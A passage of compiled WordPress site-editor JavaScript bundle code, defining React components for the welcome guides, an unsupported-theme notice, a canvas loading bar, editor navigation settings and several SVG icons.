    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MainSidebarNavigationContent, {
      isBlockBasedTheme: isBlockBasedTheme
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-unsupported/index.js
/**
 * WordPress dependencies
 */



function SidebarNavigationScreenUnsupported() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
    padding: 3,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, {
      status: "warning",
      isDismissible: false,
      children: (0,external_wp_i18n_namespaceObject.__)('The theme you are currently using does not support this screen.')
    })
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/arrow-up-left.js
/**
 * WordPress dependencies
 */


const arrowUpLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M14 6H6v8h1.5V8.5L17 18l1-1-9.5-9.5H14V6Z"
  })
});
/* harmony default export */ const arrow_up_left = (arrowUpLeft);

;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/image.js

function WelcomeGuideImage({
  nonAnimatedSrc,
  animatedSrc
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("picture", {
    className: "edit-site-welcome-guide__image",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("source", {
      srcSet: nonAnimatedSrc,
      media: "(prefers-reduced-motion: reduce)"
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
      src: animatedSrc,
      width: "312",
      height: "240",
      alt: ""
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/editor.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


function WelcomeGuideEditor() {
  const {
    toggle
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const {
    isActive,
    isBlockBasedTheme
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      isActive: !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', 'welcomeGuide'),
      isBlockBasedTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.is_block_theme
    };
  }, []);
  if (!isActive || !isBlockBasedTheme) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
    className: "edit-site-welcome-guide guide-editor",
    contentLabel: (0,external_wp_i18n_namespaceObject.__)('Welcome to the site editor'),
    finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Get started'),
    onFinish: () => toggle('core/edit-site', 'welcomeGuide'),
    pages: [{
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/edit-your-site.svg?1",
        animatedSrc: "https://s.w.org/images/block-editor/edit-your-site.gif?1"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-site-welcome-guide__heading",
          children: (0,external_wp_i18n_namespaceObject.__)('Edit your site')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-site-welcome-guide__text",
          children: (0,external_wp_i18n_namespaceObject.__)('Design everything on your site — from the header right down to the footer — using blocks.')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-site-welcome-guide__text",
          children: (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)('Click <StylesIconImage /> to start designing your blocks, and choose your typography, layout, and colors.'), {
            StylesIconImage: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
              alt: (0,external_wp_i18n_namespaceObject.__)('styles'),
              src: "data:image/svg+xml,%3Csvg width='18' height='18' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' fill='%231E1E1E'/%3E%3C/svg%3E%0A"
            })
          })
        })]
      })
    }]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/styles.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



const {
  interfaceStore: styles_interfaceStore
} = unlock(external_wp_editor_namespaceObject.privateApis);
function WelcomeGuideStyles() {
  const {
    toggle
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const {
    isActive,
    isStylesOpen
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const sidebar = select(styles_interfaceStore).getActiveComplementaryArea('core');
    return {
      isActive: !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', 'welcomeGuideStyles'),
      isStylesOpen: sidebar === 'edit-site/global-styles'
    };
  }, []);
  if (!isActive || !isStylesOpen) {
    return null;
  }
  const welcomeLabel = (0,external_wp_i18n_namespaceObject.__)('Welcome to Styles');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
    className: "edit-site-welcome-guide guide-styles",
    contentLabel: welcomeLabel,
    finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Get started'),
    onFinish: () => toggle('core/edit-site', 'welcomeGuideStyles'),
    pages: [{
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-to-styles.svg?1",
        animatedSrc: "https://s.w.org/images/block-editor/welcome-to-styles.gif?1"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-site-welcome-guide__heading",
          children: welcomeLabel
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-site-welcome-guide__text",
          children: (0,external_wp_i18n_namespaceObject.__)('Tweak your site, or give it a whole new look! Get creative — how about a new color palette for your buttons, or choosing a new font? Take a look at what you can do here.')
        })]
      })
    }, {
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/set-the-design.svg?1",
        animatedSrc: "https://s.w.org/images/block-editor/set-the-design.gif?1"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-site-welcome-guide__heading",
          children: (0,external_wp_i18n_namespaceObject.__)('Set the design')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-site-welcome-guide__text",
          children: (0,external_wp_i18n_namespaceObject.__)('You can customize your site as much as you like with different colors, typography, and layouts. Or if you prefer, just leave it up to your theme to handle!')
        })]
      })
    }, {
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/personalize-blocks.svg?1",
        animatedSrc: "https://s.w.org/images/block-editor/personalize-blocks.gif?1"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-site-welcome-guide__heading",
          children: (0,external_wp_i18n_namespaceObject.__)('Personalize blocks')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-site-welcome-guide__text",
          children: (0,external_wp_i18n_namespaceObject.__)('You can adjust your blocks to ensure a cohesive experience across your site — add your unique colors to a branded Button block, or adjust the Heading block to your preferred size.')
        })]
      })
    }, {
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideImage, {
        nonAnimatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.svg",
        animatedSrc: "https://s.w.org/images/block-editor/welcome-documentation.gif"
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-site-welcome-guide__heading",
          children: (0,external_wp_i18n_namespaceObject.__)('Learn more')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", {
          className: "edit-site-welcome-guide__text",
          children: [(0,external_wp_i18n_namespaceObject.__)('New to block themes and styling your site?'), ' ', /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
            href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/styles-overview/'),
            children: (0,external_wp_i18n_namespaceObject.__)('Here’s a detailed guide to learn how to make the most of it.')
          })]
        })]
      })
    }]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/page.js
/**
 * WordPress dependencies
 */





function WelcomeGuidePage() {
  const {
    toggle
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const isVisible = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const isPageActive = !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', 'welcomeGuidePage');
    const isEditorActive = !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', 'welcomeGuide');
    return isPageActive && !isEditorActive;
  }, []);
  if (!isVisible) {
    return null;
  }
  const heading = (0,external_wp_i18n_namespaceObject.__)('Editing a page');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
    className: "edit-site-welcome-guide guide-page",
    contentLabel: heading,
    finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Continue'),
    onFinish: () => toggle('core/edit-site', 'welcomeGuidePage'),
    pages: [{
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("video", {
        className: "edit-site-welcome-guide__video",
        autoPlay: true,
        loop: true,
        muted: true,
        width: "312",
        height: "240",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("source", {
          src: "https://s.w.org/images/block-editor/editing-your-page.mp4",
          type: "video/mp4"
        })
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-site-welcome-guide__heading",
          children: heading
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-site-welcome-guide__text",
          children: (0,external_wp_i18n_namespaceObject.__)(
          // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts
          'It’s now possible to edit page content in the site editor. To customise other parts of the page like the header and footer switch to editing the template using the settings sidebar.')
        })]
      })
    }]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/template.js
/**
 * WordPress dependencies
 */






function WelcomeGuideTemplate() {
  const {
    toggle
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
  const {
    isActive,
    hasPreviousEntity
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditorSettings
    } = select(external_wp_editor_namespaceObject.store);
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    return {
      isActive: get('core/edit-site', 'welcomeGuideTemplate'),
      hasPreviousEntity: !!getEditorSettings().onNavigateToPreviousEntityRecord
    };
  }, []);
  const isVisible = isActive && hasPreviousEntity;
  if (!isVisible) {
    return null;
  }
  const heading = (0,external_wp_i18n_namespaceObject.__)('Editing a template');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Guide, {
    className: "edit-site-welcome-guide guide-template",
    contentLabel: heading,
    finishButtonText: (0,external_wp_i18n_namespaceObject.__)('Continue'),
    onFinish: () => toggle('core/edit-site', 'welcomeGuideTemplate'),
    pages: [{
      image: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("video", {
        className: "edit-site-welcome-guide__video",
        autoPlay: true,
        loop: true,
        muted: true,
        width: "312",
        height: "240",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("source", {
          src: "https://s.w.org/images/block-editor/editing-your-template.mp4",
          type: "video/mp4"
        })
      }),
      content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", {
          className: "edit-site-welcome-guide__heading",
          children: heading
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
          className: "edit-site-welcome-guide__text",
          children: (0,external_wp_i18n_namespaceObject.__)('Note that the same template can be used by multiple pages, so any changes made here may affect other pages on the site. To switch back to editing the page content click the ‘Back’ button in the toolbar.')
        })]
      })
    }]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/welcome-guide/index.js
/**
 * Internal dependencies
 */





function WelcomeGuide({
  postType
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideEditor, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideStyles, {}), postType === 'page' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuidePage, {}), postType === 'wp_template' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuideTemplate, {})]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles-renderer/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


const {
  useGlobalStylesOutput
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function useGlobalStylesRenderer(disableRootPadding) {
  const [styles, settings] = useGlobalStylesOutput(disableRootPadding);
  const {
    getSettings
  } = (0,external_wp_data_namespaceObject.useSelect)(store);
  const {
    updateSettings
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    var _currentStoreSettings;
    if (!styles || !settings) {
      return;
    }
    const currentStoreSettings = getSettings();
    const nonGlobalStyles = Object.values((_currentStoreSettings = currentStoreSettings.styles) !== null && _currentStoreSettings !== void 0 ? _currentStoreSettings : []).filter(style => !style.isGlobalStyles);
    updateSettings({
      ...currentStoreSettings,
      styles: [...nonGlobalStyles, ...styles],
      __experimentalFeatures: settings
    });
  }, [styles, settings, updateSettings, getSettings]);
}
function GlobalStylesRenderer({
  disableRootPadding
}) {
  useGlobalStylesRenderer(disableRootPadding);
  return null;
}

;// ./node_modules/@wordpress/edit-site/build-module/components/canvas-loader/index.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const {
  Theme
} = unlock(external_wp_components_namespaceObject.privateApis);
const {
  useGlobalStyle: canvas_loader_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function CanvasLoader({
  id
}) {
  var _highlightedColors$0$;
  const [fallbackIndicatorColor] = canvas_loader_useGlobalStyle('color.text');
  const [backgroundColor] = canvas_loader_useGlobalStyle('color.background');
  const {
    highlightedColors
  } = useStylesPreviewColors();
  const indicatorColor = (_highlightedColors$0$ = highlightedColors[0]?.color) !== null && _highlightedColors$0$ !== void 0 ? _highlightedColors$0$ : fallbackIndicatorColor;
  const {
    elapsed,
    total
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _selectorsByStatus$re, _selectorsByStatus$fi;
    const selectorsByStatus = select(external_wp_coreData_namespaceObject.store).countSelectorsByStatus();
    const resolving = (_selectorsByStatus$re = selectorsByStatus.resolving) !== null && _selectorsByStatus$re !== void 0 ? _selectorsByStatus$re : 0;
    const finished = (_selectorsByStatus$fi = selectorsByStatus.finished) !== null && _selectorsByStatus$fi !== void 0 ? _selectorsByStatus$fi : 0;
    return {
      elapsed: finished,
      total: finished + resolving
    };
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    className: "edit-site-canvas-loader",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Theme, {
      accent: indicatorColor,
      background: backgroundColor,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {
        id: id,
        max: total,
        value: elapsed
      })
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/block-editor/use-navigate-to-entity-record.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

const {
  useHistory: use_navigate_to_entity_record_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function useNavigateToEntityRecord() {
  const history = use_navigate_to_entity_record_useHistory();
  const onNavigateToEntityRecord = (0,external_wp_element_namespaceObject.useCallback)(params => {
    history.navigate(`/${params.postType}/${params.postId}?canvas=edit&focusMode=true`);
  }, [history]);
  return onNavigateToEntityRecord;
}

;// ./node_modules/@wordpress/edit-site/build-module/components/block-editor/use-site-editor-settings.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */




const {
  useLocation: use_site_editor_settings_useLocation,
  useHistory: use_site_editor_settings_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function useNavigateToPreviousEntityRecord() {
  const location = use_site_editor_settings_useLocation();
  const previousLocation = (0,external_wp_compose_namespaceObject.usePrevious)(location);
  const history = use_site_editor_settings_useHistory();
  const goBack = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const isFocusMode = location.query.focusMode || location?.params?.postId && FOCUSABLE_ENTITIES.includes(location?.params?.postType);
    const didComeFromEditorCanvas = previousLocation?.query.canvas === 'edit';
    const showBackButton = isFocusMode && didComeFromEditorCanvas;
    return showBackButton ? () => history.back() : undefined;
    // `previousLocation` changes when the component updates for any reason, not
    // just when location changes. Until this is fixed we can't add it to deps. See
    // https://github.com/WordPress/gutenberg/pull/58710#discussion_r1479219465.
  }, [location, history]);
  return goBack;
}
function useSpecificEditorSettings() {
  const {
    query
  } = use_site_editor_settings_useLocation();
  const {
    canvas = 'view'
  } = query;
  const onNavigateToEntityRecord = useNavigateToEntityRecord();
  const {
    settings
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSettings
    } = select(store);
    return {
      settings: getSettings()
    };
  }, []);
  const onNavigateToPreviousEntityRecord = useNavigateToPreviousEntityRecord();
  const defaultEditorSettings = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return {
      ...settings,
      richEditingEnabled: true,
      supportsTemplateMode: true,
      focusMode: canvas !== 'view',
      onNavigateToEntityRecord,
      onNavigateToPreviousEntityRecord,
      isPreviewMode: canvas === 'view'
    };
  }, [settings, canvas, onNavigateToEntityRecord, onNavigateToPreviousEntityRecord]);
  return defaultEditorSettings;
}

;// ./node_modules/@wordpress/edit-site/build-module/components/plugin-template-setting-panel/index.js
/**
 * Defines an extensibility slot for the Template sidebar.
 */

/**
 * WordPress dependencies
 */





const {
  Fill,
  Slot
} = (0,external_wp_components_namespaceObject.createSlotFill)('PluginTemplateSettingPanel');
const PluginTemplateSettingPanel = ({
  children
}) => {
  external_wp_deprecated_default()('wp.editSite.PluginTemplateSettingPanel', {
    since: '6.6',
    version: '6.8',
    alternative: 'wp.editor.PluginDocumentSettingPanel'
  });
  const isCurrentEntityTemplate = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_editor_namespaceObject.store).getCurrentPostType() === 'wp_template', []);
  if (!isCurrentEntityTemplate) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Fill, {
    children: children
  });
};
PluginTemplateSettingPanel.Slot = Slot;

/**
 * Renders items in the Template Sidebar below the main information
 * like the Template Card.
 *
 * @deprecated since 6.6. Use `wp.editor.PluginDocumentSettingPanel` instead.
 *
 * @example
 * ```jsx
 * // Using ESNext syntax
 * import { PluginTemplateSettingPanel } from '@wordpress/edit-site';
 *
 * const MyTemplateSettingTest = () => (
 * 		<PluginTemplateSettingPanel>
 *			<p>Hello, World!</p>
 *		</PluginTemplateSettingPanel>
 *	);
 * ```
 *
 * @return {Component} The component to be rendered.
 */
/* harmony default export */ const plugin_template_setting_panel = (PluginTemplateSettingPanel);

;// ./node_modules/@wordpress/icons/build-module/library/seen.js
/**
 * WordPress dependencies
 */


const seen = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M3.99961 13C4.67043 13.3354 4.6703 13.3357 4.67017 13.3359L4.67298 13.3305C4.67621 13.3242 4.68184 13.3135 4.68988 13.2985C4.70595 13.2686 4.7316 13.2218 4.76695 13.1608C4.8377 13.0385 4.94692 12.8592 5.09541 12.6419C5.39312 12.2062 5.84436 11.624 6.45435 11.0431C7.67308 9.88241 9.49719 8.75 11.9996 8.75C14.502 8.75 16.3261 9.88241 17.5449 11.0431C18.1549 11.624 18.6061 12.2062 18.9038 12.6419C19.0523 12.8592 19.1615 13.0385 19.2323 13.1608C19.2676 13.2218 19.2933 13.2686 19.3093 13.2985C19.3174 13.3135 19.323 13.3242 19.3262 13.3305L19.3291 13.3359C19.3289 13.3357 19.3288 13.3354 19.9996 13C20.6704 12.6646 20.6703 12.6643 20.6701 12.664L20.6697 12.6632L20.6688 12.6614L20.6662 12.6563L20.6583 12.6408C20.6517 12.6282 20.6427 12.6108 20.631 12.5892C20.6078 12.5459 20.5744 12.4852 20.5306 12.4096C20.4432 12.2584 20.3141 12.0471 20.1423 11.7956C19.7994 11.2938 19.2819 10.626 18.5794 9.9569C17.1731 8.61759 14.9972 7.25 11.9996 7.25C9.00203 7.25 6.82614 8.61759 5.41987 9.9569C4.71736 10.626 4.19984 11.2938 3.85694 11.7956C3.68511 12.0471 3.55605 12.2584 3.4686 12.4096C3.42484 12.4852 3.39142 12.5459 3.36818 12.5892C3.35656 12.6108 3.34748 12.6282 3.34092 12.6408L3.33297 12.6563L3.33041 12.6614L3.32948 12.6632L3.32911 12.664C3.32894 12.6643 3.32879 12.6646 3.99961 13ZM11.9996 16C13.9326 16 15.4996 14.433 15.4996 12.5C15.4996 10.567 13.9326 9 11.9996 9C10.0666 9 8.49961 10.567 8.49961 12.5C8.49961 14.433 10.0666 16 11.9996 16Z"
  })
});
/* harmony default export */ const library_seen = (seen);

;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js
/**
 * WordPress dependencies
 */


const moreVertical = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"
  })
});
/* harmony default export */ const more_vertical = (moreVertical);

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/icon-with-current-color.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


function IconWithCurrentColor({
  className,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
    className: dist_clsx(className, 'edit-site-global-styles-icon-with-current-color'),
    ...props
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/navigation-button.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


function GenericNavigationButton({
  icon,
  children,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItem, {
    ...props,
    children: [icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      justify: "flex-start",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(IconWithCurrentColor, {
        icon: icon,
        size: 24
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
        children: children
      })]
    }), !icon && children]
  });
}
function NavigationButtonAsItem(props) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.Button, {
    as: GenericNavigationButton,
    ...props
  });
}
function NavigationBackButtonAsItem(props) {
  return /*#__PURE__*/_jsx(Navigator.BackButton, {
    as: GenericNavigationButton,
    ...props
  });
}


;// ./node_modules/@wordpress/icons/build-module/library/typography.js
/**
 * WordPress dependencies
 */


const typography = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M6.9 7L3 17.8h1.7l1-2.8h4.1l1 2.8h1.7L8.6 7H6.9zm-.7 6.6l1.5-4.3 1.5 4.3h-3zM21.6 17c-.1.1-.2.2-.3.2-.1.1-.2.1-.4.1s-.3-.1-.4-.2c-.1-.1-.1-.3-.1-.6V12c0-.5 0-1-.1-1.4-.1-.4-.3-.7-.5-1-.2-.2-.5-.4-.9-.5-.4 0-.8-.1-1.3-.1s-1 .1-1.4.2c-.4.1-.7.3-1 .4-.2.2-.4.3-.6.5-.1.2-.2.4-.2.7 0 .3.1.5.2.8.2.2.4.3.8.3.3 0 .6-.1.8-.3.2-.2.3-.4.3-.7 0-.3-.1-.5-.2-.7-.2-.2-.4-.3-.6-.4.2-.2.4-.3.7-.4.3-.1.6-.1.8-.1.3 0 .6 0 .8.1.2.1.4.3.5.5.1.2.2.5.2.9v1.1c0 .3-.1.5-.3.6-.2.2-.5.3-.9.4-.3.1-.7.3-1.1.4-.4.1-.8.3-1.1.5-.3.2-.6.4-.8.7-.2.3-.3.7-.3 1.2 0 .6.2 1.1.5 1.4.3.4.9.5 1.6.5.5 0 1-.1 1.4-.3.4-.2.8-.6 1.1-1.1 0 .4.1.7.3 1 .2.3.6.4 1.2.4.4 0 .7-.1.9-.2.2-.1.5-.3.7-.4h-.3zm-3-.9c-.2.4-.5.7-.8.8-.3.2-.6.2-.8.2-.4 0-.6-.1-.9-.3-.2-.2-.3-.6-.3-1.1 0-.5.1-.9.3-1.2s.5-.5.8-.7c.3-.2.7-.3 1-.5.3-.1.6-.3.7-.6v3.4z"
  })
});
/* harmony default export */ const library_typography = (typography);

;// ./node_modules/@wordpress/icons/build-module/library/color.js
/**
 * WordPress dependencies
 */


const color = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3zm-5.1 7.6c-2.5 0-4.6-2.1-4.6-4.6 0-.3.1-1 .8-2.3.5-.9 1.1-1.9 2-3.1.7-.9 1.3-1.7 1.8-2.3.7.8 1.3 1.6 1.8 2.3.8 1.1 1.5 2.2 2 3.1.7 1.3.8 2 .8 2.3 0 2.5-2.1 4.6-4.6 4.6z"
  })
});
/* harmony default export */ const library_color = (color);

;// ./node_modules/@wordpress/icons/build-module/library/background.js
/**
 * WordPress dependencies
 */


const background = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    fillRule: "evenodd",
    clipRule: "evenodd",
